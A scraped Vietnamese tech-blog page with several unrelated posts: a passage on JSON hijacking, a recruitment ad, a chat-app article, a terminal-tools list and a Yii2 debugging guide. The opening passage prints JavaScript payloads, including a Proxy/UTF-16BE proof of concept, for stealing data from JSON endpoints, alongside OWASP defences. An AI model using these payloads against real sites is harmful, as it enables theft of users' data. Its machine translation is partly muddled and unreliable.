  var valueExtractor = function(value) {
    // Alert the value
    alert(value);
    // Set the next index to use this method as well
    that.__defineSetter__(index.toString(),valueExtractor );
    index++;
  };
  // Set the setter for item 0
  that.__defineSetter__(index.toString(),valueExtractor );
  index++;
}

Khi tạo mảng, giá trị của chúng sẽ được cảnh báo!

Điều này đã được sửa trong đề xuất ECMAScript 4 , vì bây giờ chúng ta không còn có thể ghi đè prototype của hầu hết các nguyên thủy, chẳng hạn như Object Array.

  React Context API và các Higher-order Components

Mặc dù ES4 chưa bao giờ được phát hành, lỗ hổng này đã được sửa chữa bởi các trình duyệt chính ngay sau khi phát hiện ra nó.

Bạn vẫn có thể có hành vi tương tự trong javascript ngày nay, nhưng nó bị giới hạn trong các biến mà bạn tạo hoặc các mục tạo không sử dụng ký hiệu ngoặc.

Đây sẽ là phiên bản được điều chỉnh của payload trước đó:

// Making an array
const x = [];

// Making the overriden methods
x.copy = [];
const extractor = (v) => {
    // Keeping the value in a different array
    x.copy.push(v);
    // Setting the extractor for the next value
    const currentIndex = x.copy.length;
    x.__defineSetter__(currentIndex, extractor);
    x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]);
    // Logging the value
    console.log('Extracted value', v);
};

// Assigning the setter on index 0 
x.__defineSetter__(0, extractor);
x.__defineGetter__(0, ()=>x.copy[0]);


// Using the array as usual

x[0] = 'zero';
x[1] = 'one';

console.log(x[0]);
console.log(x[1]);

Và đây sẽ là một phiên bản sử dụng từ khóa Array để tạo mảng của bạn:

function Array(){
    console.log(arguments);
}

Array("secret","values");

Như bạn có thể thấy, dữ liệu bạn đã thêm vào mảng đã nhập, trong khi chức năng vẫn giữ nguyên!

Việc sửa chữa chính nó không phải là để ngăn chặn việc tạo function Array trong chính nó, nhưng để buộc ký hiệu ngoặc đơn của các mục tạo ra để sử dụng việc triển khai gốc, và không phải là chức năng tùy chỉnh của bạn.

Điều này có nghĩa là chúng ta vẫn có thể tạo một hàm Array, nhưng nó sẽ không được sử dụng với dấu ngoặc vuông ([1,2,3]). 

Nó vẫn sẽ được gọi nếu chúng ta sử dụng ký hiệu x = new Array(1,2,3) hoặc x = Array(1,2,3) mặc dù, nhưng điều này không giúp chúng ta với việc JSON hijacking.

Các biến thể hiện đại

Được rồi, vì vậy chúng tôi biết các phiên bản cũ của trình duyệt đã bị tấn công trong một thời gian trước đây. 
Điều này có ý nghĩa gì đối với chúng ta ngày nay?

Vâng, với bản phát hành gần đây của EcmaScript 6, các tính năng juicy mới đã được thêm vào như Proxies!

Gareth Heyes từ Portswigger đã viết ra một biến thể hiện đại của cuộc tấn công này, điều này vẫn cho phép chúng tôi lấy cắp dữ liệu từ các điểm cuối JSON!

Sử dụng Proxy thay vì Accessors cho phép chúng tôi đánh cắp bất kỳ biến nào được tạo ra, bất kể tên của nó là gì. 
Nó có thể hoạt động giống như một accessor nhưng đối với bất kỳ thuộc tính truy cập hoặc viết nào.

Sử dụng điều này và một cách khác, có thể ăn cắp dữ liệu một lần nữa!

UTF-16BE là một bộ ký tự nhiều byte và do đó hai byte sẽ thực sự tạo thành một ký tự. Ví dụ: nếu tập lệnh của bạn bắt đầu bằng [“điều này sẽ được coi là ký tự 0x5b22 không phải là 0x5b 0x22. 0x5b22 là biến JavaScript hợp lệ =). Bạn có thấy không điều này sẽ xảy ra?

Sử dụng như một kịch bản:

<script charset="UTF-16BE" src="external-script-with-array-literal"></script>

Với một chút dữ liệu được kiểm soát từ kịch bản này, cũng như các bit thực tế  chuyển đổi kịch bản để làm cho điều này một lần nữa rõ ràng, chúng tôi có thể exfiltrate dữ liệu một lần nữa!

Đây là POC cạnh cuối cùng của anh ấy, được lấy từ bài đăng trên blog của anh ấy:

<!doctype HTML>
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
    has:function(target,name){
        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
}));
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->

Vì tôi sẽ không giải thích phương pháp của anh ta sâu, tôi khuyên bạn nên đọc bài viết của anh ấy để biết thêm thông tin.

Phòng tránh

Dưới đây là các khuyến nghị chính thức của OWASP, được lấy từ AJAX security cheat sheet

  • Sử dụng CSRF Protection
    Điều này ngăn cản việc khai thác bằng cách không trả lại dữ liệu nếu tiêu đề bảo mật hoặc mã thông báo csrf không có mặt.
  • Luôn trả về JSON với một đối tượng ở bên ngoài

Giải pháp cuối cùng này là thú vị.

Trong Firefox và IE, vì một số lý do, điều này là hợp lệ:

x = [{"key":"value"}]
x = {"key":"value"}
[{"key":"value"}]
{key: "value"}

Nhưng cái này thì không”

{"key":"value"}

Lý do tại sao nó không hợp lệ là Firefox và IE xem xét các dấu ngoặc đơn để bắt đầu một câu lệnh khối và không phải là tạo đối tượng. 

Ký hiệu không có dấu ngoặc kép, {key: "value"} được coi là một nhãn, với giá trị là một câu lệnh.

Chrome, không giống như, xem xét các trường hợp đó là một đối tượng sáng tạo, và do đó nó tạo ra một đối tượng mới.

Cảm ơn Matt (r0x33d) đã giúp làm sáng tỏ điều này!

Phần kết luận

Mặc dù các vectors này có thể không hoạt động ngày hôm nay, chúng tôi không bao giờ biết lỗi mới sẽ xảy ra vào ngày mai, và do đó chúng tôi vẫn nên cố gắng hết sức để ngăn không cho API bị khai thác. 

Nếu chúng tôi lấy this StackOverflow answer , chúng tôi sẽ dễ bị tổn thương bởi các phiên bản hiện đại và do đó vẫn có thể bị tấn công.

Câu trả lời của Google và Facebook là thêm các vòng javascript hoặc vòng lặp vô hạn không hợp lệ trước dữ liệu JSON của họ, nhưng có vài lựa chọn thay thế khác được liệt kê bởi OWASP.

  Top những thuật toán machine learning mà bất cứ Data Scientist nào cũng cần phải biết (Phần 2)

Biên dịch: Trương Đình Tuấn

Sức mạnh thành công tại HansenCX: trọng dụng nhân tài, không ngại đầu tư nguồn nhân lực

Đến với HansenCX, ở nơi này kỳ tích không đến từ những gì quá lớn lao, mà quan trọng nhất vẫn đến từ sức mạnh đoàn kết. Nỗ lực không ngừng ắt có ngày thành công!

Điều đặc biệt làm nên “sức mạnh HansenCX”

HansenCX được biết đến là nhà cung cấp hàng đầu thế giới về công nghệ thanh toán và chăm sóc khách hàng cho các nhà khai thác truyền hình, các công ty viễn thông và tiện ích Pay-TV. Trải qua hành trình 47 năm vận hành và phát triển, HansenCX hiện có hơn 1000 nhân sự và 34 văn phòng tại Úc, Hoa Kỳ, New Zealand, Trung Quốc, Thụy Sĩ, Ấn Độ, Việt Nam…phục vụ khách hàng tại hơn 80 quốc gia trên thế giới. HansenCX luôn đón đầu và cập nhật những xu hướng công nghệ mới nhất, đem lại tiện ích cũng như lợi thế dành cho khách hàng.

Các thành tựu đạt được trong những năm gần đây của HansenCX:

  • Hợp tác với Hệ thống tiện ích thông minh (SUS) để cung cấp nền tảng di động cho các tiện ích
  • Được lựa chọn bởi eRex để mở rộng trong thị trường dân cư bãi bỏ quy định của Nhật Bản
  • Ký hợp đồng với Tập đoàn Hinduja để hỗ trợ nền tảng HITS tại Ấn Độ
  • Hoàn thành ICC cho Univisa SA
  • Mua lại Giải pháp PPL, LLC (Giải pháp của Bỉ)
  • Mua lại Enoro – nhà cung cấp hàng đầu thị trường Bắc Âu của Hệ thống thông tin khách hàng (CIS) & Hệ thống quản lý dữ liệu đồng hồ (MDM) cho ngành năng lượng.

Những thành tựu mà HansenCX đạt được có thể nói nhiều vô kể, nhưng vẫn không thể nào phủ nhận được sự thành công đó đến từ những nỗ lực của mọi con người tại HansenCX. Với đội ngũ 1000 người, từ các chuyên gia lập trình, kiến ​​trúc sư và kỹ sư phần mềm đến các marketer và nhân viên bán hàng đến từ khắp châu lục, chính họ đã tạo ra sức mạnh đoàn kết – HansenCX coi điều đó chính là tài sản vô giá. Tại văn phòng ở nhiều quốc gia khác nhau, mỗi nơi đều có nét văn hóa riêng nhưng trong họ vẫn chung một mục tiêu phát triển. Từ kiến thức chuyên môn vững chắc cho đến sự cống hiến hết mình, chính nguồn nhân lực lớn mạnh đó đã mang đến những trải nghiệm sử dụng dịch vụ tốt nhất cho khách hàng suốt ngần ấy năm qua. Điều đó không chỉ có kinh nghiệm mới làm được mà còn phải có cái tâm của người làm nghề. Và cùng nhau, họ đã làm nên những điều tưởng chừng như không thể!

Không ngừng tìm kiếm nhân tài để đào tạo phát triển

Khi công nghệ ngày càng phát triển, con đường tương lai lại càng trở nên tươi sáng cho những ai đang theo đuổi sự nghiệp lập trình. Trong cuộc đua cạnh tranh về cơ hội việc làm, để tìm được một “bến đỗ” thích hợp giúp phát huy hết năng lực là điều mà ai cũng muốn. Thấu hiểu được khao khát đó của đại đa số, HansenCX đã tạo ra một môi trường bình đẳng để cùng nhau đi lên, đồng thời đẩy mạnh đầu tư vào yếu tố nguồn nhân lực.

Một góc tại văn phòng HansenCX

Trên đà phát triển lớn mạnh, HansenCX vẫn luôn tìm kiếm những nhân tài có tố chất đặc biệt, tinh thần bất diệt và đam mê phát triển với các sản phẩm và dịch vụ mới đóng góp cho mục tiêu lớn của công ty.
Bất cứ ai cũng có thể là nhân tố quan trọng mà HansenCX tìm kiếm. Liệu bạn có muốn đến với HansenCX để được nhận lấy chuỗi đãi ngộ:

  • Lương tháng 13 và các khoản thưởng hấp dẫn vào hằng năm;
  • Cấp laptop, hub, màn hình cấu hình mạnh;
  • Miễn phí khám sức khỏe định kỳ cho nhân viên và cả người thân;
  • Snack và đồ uống luôn có sẵn để nhâm nhi, trưa được hỗ trợ dùng bữa miễn phí;
  • Văn phòng tiện nghi hiện đại, có không gian cà phê thư giãn và khu giải trí riêng;
  • Cấp trên luôn lắng nghe, tận tụy với nhân viên, đội ngũ thân thiện và nhiệt tình;
  • Company trip chơi tẹt ga, Event sôi động xõa đúng đã.

Đặc biệt hơn cả, bạn sẽ được chạm tay đến những cơ hội rất giúp ích cho tương lai phát triển về sau:

  • Thoát khỏi “vùng an toàn” và khám phá ra nhiều tiềm năng vô hạn khác của bản thân;
  • Được “lăn xả” vào các project, nhiệm vụ mới và quy mô;
  • Tham gia các khóa học chuyên sâu để phát triển thêm kiến thức chuyên môn;
  • Kết nối với các đồng nghiệp quốc tế giúp nâng cao khả năng ngoại ngữ;
  • Cơ hội onsite đến các chi nhánh văn phòng khác trên thế giới của HansenCX.

Gõ cửa ngay 2 vị trí đang HOT được HansenCX gửi trao mức lương “khủng”:

  • Product Owner | Offer: Up to $2,500
  • Agile Development Manager (Scrum Master) | Offer: Up to $2,700

Cơ hội đang gần kề – Thể hiện ngay bản lĩnh tại HansenCX

Build một ứng dụng Chat cho Android & iOS bằng Contus Fly như thế nào?

Biên dịch: Dương Đình Tuấn

“Thành công của mỗi ứng dụng chat khác nhau về những chức năng riêng biệt mà nó có” – Vậy thì đâu là những tính năng đáng chú ý, thứ mà bạn mang vào trong chính ứng dụng chat của mình?

Cuộc chiến giữa các nhà cung cấp ứng dụng chat luôn ở mức cao trào!

Khi chúng ta hầu như đều nhận ra rằng các ứng dụng nhắn tin tự động đã thay đổi cách giao tiếp, thông qua việc sử dụng các  smartphone. Thói quen sử dụng smartphone đang tăng dần trong tất cả lĩnh vực và nó cũng cho thấy rằng số lượng người dùng nhắn tin qua ứng dụng chat đang phát triển mạnh, lên đến 2,48 tỷ người dùng trong năm 2021. Những thống kê này hoàn toàn là một dấu hiệu tốt cho các doanh nghiệp có khát khao và chuyên gia kinh doanh đối với việc đem ứng dụng chat ngay sau đây của bạn vào thị trường này.

Nhưng, làm sao để làm ra ứng dụng chat iOS/Android lung linh của bạn với khả năng đánh bại những gã khổng đã làm ứng dụng này trước đây?

Contus Fly, một giải pháp chat thời gian thực (real-time) hiện có mặt tại các doanh nghiệp có quy mô lớn và các công việc liên quan đến công nghiệp khác, để làm ra ứng dụng chat riêng cho họ, cách làm này phù hợp với bất kỳ giải pháp trò chuyện nào. Giải pháp chat hiện đại này được trang bị các tính năng và công nghệ có một không hai để  làm tăng trải nghiệm.

Tìm việc làm android hấp dẫn online tại nhà

Tuyển dụng ios lương cao cho bạn up to 30M

Điều gì làm cho một ứng dụng nhắn tin đúng chuẩn?

  1. Làm theo yêu cầu của khách hàng đã và đang là yêu cầu chính  bên cạnh việc xây dựng thành công của mọi ứng dụng chat, vì thế mà cách này có tiềm năng  tùy biến đối với bất cứ mứ độ nào.
  2. Công cụ Contus Fly chủ động hỗ trợ thêm nhiều tính năng để mang lại hiệu quả tố nhất cho ứng dụng chat của chính bạn.
  3. Nhờ vào giải pháp thanh toán một lần co hiệu lực ngay mà  các yêu cầu của bạn sẽ được phục vụ do một gói đầy đủ các tính năng  hoàn chỉnh và bao gồm cả công cụ bổ sung bên thứ ba.
  4. Ứng nhắn tin tự động này cung cấp toàn bộ nguồn code, Chat SDK và Messenger API’s để tùy chỉnh và WebRTC với các tính năng gọi điện thoại và gọi video.

Công nghệ Core Technology Stacks được sử dụng để tạo ra giao diện Front-end cho người dùng ứng dụng chat Android:

Ngôn ngữ lập trình: Contus Fly sử dụng ngôn ngữ lập trình Java để nâng cao tiềm năng so với các công nghệ tiên tiến khác, cung cấp tốc độ phản hồi tốt hơn và hiệu năng cao. Ngoài ra còn để thực hiện nhiều thao tác đồng thời một cách nhanh chóng.

Lưu trữ dữ liệu: Với một greenDAO Object Relation Mapping có tính năng tương đối và MySQL, đây là các công cụ dùng trong cơ sở dữ liệu, để xử lý một cách tương đối chức năng của ứng dụng chat dành cho hệ điều hành Android.  

Cơ chế lưu trữ : Nó sử dụng API SharedPreference để lưu trữ chung và truy xuất dữ liệu liên tục trong lúc ứng dụng Android bị ngừng hoạt động đột ngột.

Chức năng chat: Trong trường hợp này, cả ứng dụng chat chạy hệ điều hành Android và iOS đều được xây dựng trên trên giao thức XMPP để trao đổi dữ liệu trong thời gian thực giữa server và client.

Chức năng chat bằng video hoặc giọng nói: Khi nói đến ứng dụng Chat trên cả hai nền tảng Android và iOS đều được trang bị WebRTC, đây là tính năng cung cấp liên lạc thời gian thực liên tục bằng việc sử dụng trình duyệt web và các ứng dụng di động.

Sử dụng Key Technology Stack trong việc xây dựng giao diện Front-end cho ứng dụng Chat trên hệ điều hành iOS:

Ngôn ngữ lập trình: Objective- C và Swift là 2 ngôn ngữ chính sử dụng trong viết các script để xây dựng ứng dụng chat có cấu trúc code về UI đơn giản và không quá phức tạp.

Lưu trữ DataBase: nó sử dụng cơ sở dữ liệu đáng tin cậy, đó là Realm để lưu trữ và đồng bộ hai chiều theo nền tảng tương tác thời gian thực.

Cơ chế lưu trữ  : UserDefaults, đây là  giao thức sử dụng cho việc tương tác với người dùng mặc định  và cũng có thể tùy chỉnh để phù hợp với cách chọn lựa của người dùng.

Phát triển Back-end với Primary Technology Stacks:

Ngôn ngữ lập trình: Chính xác thì ứng dụng chat này sử dụng Erlang và PHP để làm phần backend cho cả Android và iOS, mặc dù hiện nay ngôn ngữ Server-side có khả năng cao trong phát triển, đáng tin cậy,  xử lý nhanh và có khả năng chạy trên Unix cả Unix và Windows.

Framework: Sử dụng nhiều framworks đơn giản và hiệu năng mạnh mẽ trong việc kết nối người dùng ở các máy chủ khác nhau như Ejabberd và Laravel.

Cơ chế tự động hóa: ứng dụng sử dụng ba phần mềm tự động hóa mạnh mẽ (Selenium, Tsung và Appium ) để tăng khả năng test các ứng dụng sử dụng giao thức Webdriver.

Cơ sở dữ liệu: Tập hợp lưu trữ toàn bộ dữ liệu thống nhất được thực hiện trên hai cơ sở dữ liệu có liên quan là MySQL   và PostgreSQL nhằm tăng hiệu năng, tính tin cậy và bảo mật của backend.

WebServer: Tính chất bắt buộc trong việc truyền tải tin nhắn là phải càng nhanh, ứng dụng này làm được điều này với việc sử dụng một số máy chủ dựa trên nền tảng web như Apache2/nginx, Ejabberd và PHP.

Web Hosting: IM được trang bị Amazon Web Services(AWS) để cho phép lưu trữ dữ liệu không giới hạn dưới một nền tảng lưu trữ an toàn.

Web Frontend: Để cung cấp chất  lượng trải nghiệm người dùng trực quan hơn, phần backend được xây dựng bằng các ngôn ngữ kịch bản(scripting language) như HTML5, JavaScript và CSS.

Cloud Storage: Hầu hết các nền tảng  nhắn tin tự động đều hợp tác với Amazon S3 Bucket để  bảo mật ba lớp trong việc truyền tải các luồng thông tin.

Xây dựng ứng dụng chat trên web với Significant Technology Stacks:

Giải pháp này sử dụng Nodejs (đây là hệ sinh thái mã nguồn mở sẵn có lớn nhất) vừa gọn nhẹ và vừa mang lại hiệu suất cao. Cũng như sử dụng các tính năng của strophe.js để phát triển ứng dụng chat tự động trên web với giao thức  XMPP chạy trên bất kỳ trình duyệt nào.

Các tính năng bổ sung của ứng dụng nhắn tin tự động IM (Instant Messaging):

Phương thức thanh toán: IM được trang bị các tùy chọn để thanh toán cho các yêu cầu của người dùng. Dù có thay đổi trong cách hình thức thanh toán nào đi nữa, IM cũng cung cấp ra code QR, đây là tính năng trả tiền nhanh dựa vào tính năng bảo mật 3 lớp cho ứng dụng trên web hay ngay trên ứng dụng.

Thông báo ngoại tuyến: Bất kỳ khi nào người dùng đang  trực tuyến hay ngoại tuyến đều đã được kích hoạt hệ thống thông báo ngoại tuyến,hệ thống sẽ truyền thông báo (push) tới người dùng thông qua thông tin mà người dùng đã dùng cung cấp trước đó.

Ngôn ngữ chat: Ứng dụng nhắn tin được trang bị trình biên dịch với tính năng chat cho phép người dùng biên dịch tin nhắn văn bản sang hơn 1000 ngôn ngữ ngay trên màn hình chat trong ứng dụng.

Kết luận:

Mọi nhà cung cấp ứng dụng chat trên Android và iOS đều cung cấp các tính năng độc đáo riêng, nhưng chỉ có một số ít nhà cung cấp có tiềm năng làm ra ứng dụng chat hoàn thiện trên cả hai nền tảng này,  với các tính năng vượt trội và mới mẻ để đáp ứng được nhu cầu trong tương lai. Có nhiều cách để tập trung phát triển phía lưu trữ dưới máy chủ để cung cấp khả năng mở rộng vô hạn. Vì vậy, Contus Fly cũng cung cấp dịch vụ lưu trữ giống xu hướng này và cách làm ra cả ứng dụng chat, từ đó có thể đem lại thu nhập cho chính bạn.

TopDev via Medium

Xem thêm các vị trí tuyển dụng it lương cao tại đây

Làm thế nào để terminal trông giống như một Hacker?

Tác giả: Caleb Taylor

Bạn là một hacker. Terminal chính là ngôi nhà của bạn. Bạn biết mỗi tổ hợp phím đều có giá trị. Nếu một cái gì đó ít hơn 100% hiệu quả, bạn sẽ dành nhiều giờ để tìm ra công cụ thích hợp để tiết kiệm cho mình thêm vài giây. 

Nguồn: Pablo Stanley via Twitter

Liệu viêc tìm kiếm thường xuyên của bạn cho những cách thức mới hơn có thực sự làm điều đó tốt hơn chăng? Một số có thể nói có, nhưng khi bạn nói điều này. Không có công việc nào đáng làm, trừ khi bạn có thể thuyết trình đồng nghiệp của mình về lý do tại sao bạn có thể làm điều đó một cách hiệu quả (không bao gồm thời gian thiết lập).

Sau đây là danh sách các công cụ / tính năng mà mọi hacker giỏi đều nên biết.

Dislcaimer: Bài viết này được viết với một liều châm biếm nặng. Đó là một bước ngoặt trên meme “Tôi, một trí thức”. Trong khi các đề xuất là chân thành (và không có nghĩa là hoàn thành), các tài liệu tham khảo để trở thành một “hacker” chỉ là cho vui.

Shell (zsh)

Nhà phát triển trung bình: Một Shell là một Shell Nó không thực sự quan trọng mà tôi sử dụng.

Bạn, một Hacker: Shell là mạch máu của công việc của tôi. Niềm đam mê của tôi với hiệu quả và tính năng không có giới hạn. Shell của tôi phải là một trong những xứng đáng của một hacker thực sự.

Bạn sống trong Terminal, bạn muốn sử dụng một Shell terminal tốt . Đó là lý do tại sao bạn sử dụng zsh.

Nó đi kèm với một loạt các tính năng:

  • Tự động sửa các lệnh sai chính tả
  • Dễ dàng thay thế và kéo thả bash
  • Hoàn thành cd tốt hơn bằng cách sử dụng <tab>
  • Mở rộng đường dẫn: cd / u / c / c / j + <tab> = cd / người dùng / caleb / code / jarvis
  • V.v..

Nó cũng đi kèm với một khuôn khổ tuyệt vời để quản lý cấu hình zsh của bạn: Oh My Zsh. Nó bao gồm hơn 200 plugin và hơn 140 chủ đề để thêm tất cả các loại tính năng tuyệt vời cho thiết bị đầu cuối của bạn. Một mẫu nhỏ:

  • git – bí danh và chức năng hữu ích cho git
  • tmux – bí danh và cài đặt để tích hợp zsh với tmux
  • node – thêm lệnh node-docs để mở tài liệu trang web
  • osx – một số tiện ích để làm việc với OSX
  • Web-search – khởi tạo tìm kiếm trên web từ dòng lệnh
  • Auto suggestion – đề xuất nhanh, không phô trương khi bạn nhập dựa trên lịch sử

Bạn có thể tìm thấy danh sách đầy đủ các plugin ở đây.

Session Management (tmux)

Các developer hạng trung: Ok tôi đã mở các tệp của mình cho lame_project_1. Nhưng tôi cũng cần phải làm việc trong boring_project_2. Tôi cũng cần phải ssh vào một máy chủ và nhìn vào các bản ghi. Tôi đoán tôi sẽ chỉ tạo ra một mớ hỗn độn khổng lồ trong thiết bị đầu cuối của mình có tệp / tab từ nhiều dự án mở theo cách mà cuối cùng tôi sẽ mất quyền kiểm soát và buộc phải đóng và bắt đầu lại.

Bạn, một Hacker: Tôi làm việc trên một số dự án cùng một lúc, vì vậy tôi cần một công cụ để giúp tôi tổ chức nó. Nó sẽ hoạt động trên nhiều nền tảng và cho phép tôi tạo không gian làm việc có tổ chức và có rất nhiều tính năng khác giúp nâng cao năng suất.

Bạn biết rằng coding có thể lộn xộn. Đôi khi, bạn phải làm việc trên một số dự án cùng một lúc. Đó là lý do tại sao bạn sử dụng tmux.

Nó cho phép bạn tạo các phiên. Mỗi phiên có thể được tùy chỉnh theo bố cục chính xác mà bạn cần. Bạn có thể đặt tên phiên để dễ dàng chuyển đổi và thậm chí lưu và khôi phục các phiên nếu thiết bị đầu cuối của bạn bị đóng. Thêm vào đó, nó có dòng trạng thái tùy chỉnh riêng cho phép bạn hiển thị những thứ như thời gian, ngày tháng, mức sử dụng CPU và hơn thế nữa. Và nếu bạn không biết mức sử dụng CPU của mình tại bất kỳ thời điểm nào, bạn có phải là một hacker không?

Tổ chức thiết bị đầu cuối của bạn với các phiên và sử dụng fzf để tạo / tìm / xóa mờ các phiên

Nó thậm chí còn có một trình quản lý plugin và một loạt các plugin và các tính năng tuyệt vời sẽ đưa trình độ hack của bạn lên cấp độ tiếp theo.

Tips cho Super-Pro Hacker:

Sử dụng tmux với fzf thông qua một số script tuyệt vời để nhanh chóng tạo / xóa / điều hướng để đẩy mức độ tin tặc của bạn lên hơn 9000.

Search (ripgrep)

Developer hạng trung: Tôi đã xác định hằng số đó ở đâu? Tôi biết nó ở đâu đó ở đây. Tôi sẽ cố gắng grep cho nó. Các đối số một lần nữa là gì? Hãy để tôi google điều đó. Ah crap, bây giờ nó đang tìm kiếm thư mục node_modules của tôi. Đây là điều tồi tệ nhất.

Bạn, một Hacker: Khi tôi tìm kiếm một cái gì đó, nó phải được blazing nhanh. Ngoài ra, nó nên sử dụng các cài đặt mặc định hợp lý, như bỏ qua các tệp nhị phân hoặc tệp ẩn.

Bạn biết rằng tìm kiếm dự án của bạn là một nhiệm vụ phổ biến. Nó sẽ được nhanh chóng, và nó không nên lãng phí thời gian của bạn. Điều này có nghĩa là những thứ như bỏ qua bất cứ điều gì mà tệp .gitignore của bạn bỏ qua và bỏ qua các tệp nhị phân và tệp ẩn. Đó là lý do tại sao bạn sử dụng ripgrep. Nó giống như grep trên steroid.

ripgrep trong hành động

Cha đẻ của nó đã nói: “Sử dụng ripgrep nếu bạn thích tốc độ, lọc theo mặc định, ít lỗi hơn và hỗ trợ Unicode.”

Fuzzy Finding (fzf)

Developer hạng trung: Chắc chắn khó nhớ vị trí chính xác của quá nhiều tệp trong dự án của tôi. Tôi đoán tôi sẽ gặp sơ sẩy cho đến khi tôi tìm được cái đúng.

Bạn, một Hacker: Tôi sẽ có thể tìm thấy các tập tin(fuzzy-find ). Tôi có thể nhập tên tệp hoặc một số đường dẫn hoặc tất cả đường dẫn và tìm nhanh tệp tôi đang tìm kiếm.

Bạn biết bạn không cần phải gõ nhiều hơn mức bạn cần. Vì vậy, bạn sử dụng fzf, một công cụ tìm kiếm dòng lệnh chung. Nó cũng có thể làm nhiều hơn với các tập tin tìm kiếm ,Nó có thể được sử dụng với bất kỳ danh sách nào: “tệp, lịch sử lệnh, quy trình, tên máy chủ lưu trữ, dấu trang, cam kết git, v.v …”.

Mẹo siêu chuyên nghiệp: Bạn biết rằng bí danh là cách tuyệt vời để tạo lối tắt để tận dụng các tính năng của fzf. Ví dụ: nếu bạn muốn tìm kiếm tệp và sau đó mở lựa chọn trong trình chỉnh sửa mặc định của mình, bạn có thể thêm phần này vào cấu hình zsh của mình:

# fo [FUZZY PATTERN] - Open the selected file with the default editor
#   - Bypass fuzzy finder if there's only one match (--select-1)
#   - Exit if there's no match (--exit-0)
fo() {
  local files
  IFS=$'\n' files=($(fzf-tmux --query="$1" --multi --select-1 --exit-0))
  [[ -n "$files" ]] && ${EDITOR:-vim} "${files[@]}"
}

Bây giờ bạn có thể chạy “fo” fuzzy-find và mở một tập tin

Có thể tìm thấy nhiều ví dụ khác trên fzf wiki.

Terminal Prompt (Spaceship)

Developer hạng trung: Ai quan tâm đến lời nhắc thiết bị đầu cuối của tôi như thế nào? Không đời nào nó có thể cho tôi bất kỳ thông tin hữu ích nào. Tôi sẽ chỉ để nó làm mặc định.

Bạn, một Hacker: Tôi muốn lời nhắc của tôi thật tuyệt vời. Nó phải là nhận thức ngữ cảnh. Nó sẽ cho tôi thông tin hữu ích và có thể cấu hình được. Ngoài ra, nó sẽ rất ngọt ngào nếu nó liên quan đến không gian.

Chào mừng đến tương lai… nhưng thực sự là hiện tại. Chỉ tin tặc / phi hành gia.

Bạn biết lời nhắc prompt phải đơn giản, rõ ràng và chỉ cung cấp thông tin có liên quan. Nó cũng hiện trong tâm trí của mọi người khi họ nhìn thấy vẻ đẹp của nó. Đó là lý do tại sao bạn sử dụng spaceship-prompt.. Nó cung cấp tích hợp git / mercurial, chỉ báo mức pin, tên máy chủ thông minh và dữ liệu người dùng, số phiên bản cho nhiều thư viện, biểu tượng tuyệt đẹp và hơn thế nữa.

Changing directories (z)

Developer hạng trung: Tôi cần thay đổi thư mục của mình thành dự án “hacker”, nằm trong thư mục của tôi, nằm bên trong thư mục cá nhân của tôi, nằm trong thư mục mã của tôi, nằm trong thư mục chính của tôi.

cd ~/code/personal/cool/hacker

Bạn, một Hacker: Tôi cần thay đổi thư mục của mình thành dự án “hacker”.

z hacker

Gõ đường dẫn tệp đầy đủ là những gì các nhà phát triển trung bình làm. Bạn là một hacker. Bạn dựa vào z. Sau khi cài đặt, nó sẽ bắt đầu học những thư mục bạn truy cập. Sau đó, bạn có thể cung cấp cho nó một regex (hoặc tên thư mục đơn giản) để nhảy tới ứng cử viên có khả năng nhất.

Bonus Hacker Tools

Các công cụ sau đây là những cách bổ sung để thực sự nâng cao trò chơi hack của bạn.

  1. wttr.in – Chỉ có một cách đúng đắn để kiểm tra thời tiết.

  1. Star Wars — Cool people like Star Wars. Hackers xem nó trong terminal.
telnet towel.blinkenlights.nl

3. haxor-news – Bạn thậm chí là một hacker nếu bạn không đọc Hacker News?

4. Spotify – Sử dụng shpotify, bạn có thể chơi nhạc từ thiết bị đầu cuối (chỉ OSX… Hey, ngừng la ó! Đặt cái ghế xuống! Ai ném cà chua đó !?), hoặc mopidy cho cái gì đó là đa nền tảng.

Bài viết đến đây cũng đã kết thúc. Điều này không có nghĩa là đã liệt kê ra một danh sách toàn diện. Bạn có bất kỳ công cụ hacker tuyệt vời nào khác không? Để lại một bình luận và cho tôi biết.

Nếu bạn muốn thấy nhiều công cụ này hoạt động hơn, hãy kiểm tra dotfiles của tôi mà tôi sử dụng để phát triển. Như một phần thưởng, đây là ảnh chụp màn hình của glorious terminal đang hoạt động:

Bài viết gốc được đăng tải tại Medium

Debug project Yii2 với XDebug và PHPStorm IDE

Tác giả: Ugin Po

Hôm nay chúng ta đang nói về gỡ lỗi và một trình gỡ lỗi. Trước hết, tôi phải thông báo cho bạn rằng bài viết này dành cho người mới bắt đầu muốn có khả năng gỡ lỗi dự án Yii2 của riêng họ trong IDE PHPStorm mạnh mẽ với XDebug.

Bắt đầu. Trong trường hợp của tôi, tôi đã sử dụng các công cụ tiếp theo:

  1. Apache 2.4
  2. PHP 5,5
  3. Trình duyệt Chrome với JetBrains IDE Plugin 2.8
  4. PHPStorm 9
  5. xDebug 2.2.6

Xem tin tuyển lập trình viên PHP đãi ngộ tốt trên TopDev

Bước 1. Trong php.ini của bạn tìm một phần [Xdebug] và các chỉ thị bỏ ghi chú bên dưới:

zend_extension=”YOUR_PATH_TO_PHP/ext/php_xdebug.dll” xdebug.default_enable = 1 
xdebug.remote_autostart = 0 
xdebug.remote_enable = 1 
xdebug.remote_port = 9001

Sau đó bạn nên kiểm tra cấu hình php của bạn thông qua hàm phpinfo (). Nếu bạn có thể tìm thấy xdebug trong danh sách thuộc tính, điều này có nghĩa là bạn đã cấu hình quyền xDebug.

Bước 2. Vào PHPStorm-> File-> Settings-> Language & Frameworks

Bạn nên thiết lập môi trường phát triển trong phần phiên dịch php như sau:

Bước 3. Sau đó vào PHPStorm-> File-> Settings-> Language & Frameworks-> PHP-> Server và thiết lập các tùy chọn máy chủ web của bạn:

Bước 4. Trong PHPStorm-> File-> Settings-> Language & Frameworks-> PHP-> Debug định cấu hình cài đặt xDebug:

Bước 5. Ở góc trên cùng bên phải của PHPStorm chọn tùy chọn “Edit Configurations…”

Bước 6. Trong cửa sổ xuất hiện, nhấp vào “+” và thêm “PHP Web Application”.

